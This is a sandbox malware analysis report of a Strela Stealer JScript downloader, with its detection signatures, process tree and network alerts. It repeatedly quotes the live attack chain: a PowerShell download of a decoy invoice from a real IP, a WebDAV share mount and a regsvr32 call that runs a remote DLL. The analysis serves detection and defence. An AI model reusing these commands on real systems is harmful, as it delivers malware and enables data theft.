Edit tour

Windows Analysis Report
1861217272584230862.js

Overview

General Information

Sample name:	1861217272584230862.js
Analysis ID:	1587972
MD5:	60dbbd2f12a49297d11d6451e9731f84
SHA1:	d1c4120a58bb591e48c346f45a800dd8029d5dfb
SHA256:	6975fcde89ef2af0c23bebc1deec9c426d9454f85c5dd7c973e4f9cc14c80e6c
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3184 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1760 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5320 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3004 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4564 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4600 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1524,i,6906610275621193779,5295784197698234964,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3108 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2564 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3352 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3184	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5320, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5320, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", ProcessId: 3184, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2564, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 1760, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 1760, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 1760, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 1760, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 1760, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", ProcessId: 3184, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5320, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3108, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2564, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3352, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3108, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2564, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1861217272584230862.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 1760, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:03:04.852979+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49708	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:03:01.334085+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49707	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1861217272584230862.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1861217272584230862.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49708 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:03:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: global traffic

TCP traffic: 192.168.2.9:49708 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49707 -> 193.143.1.205:80

Source: global traffic

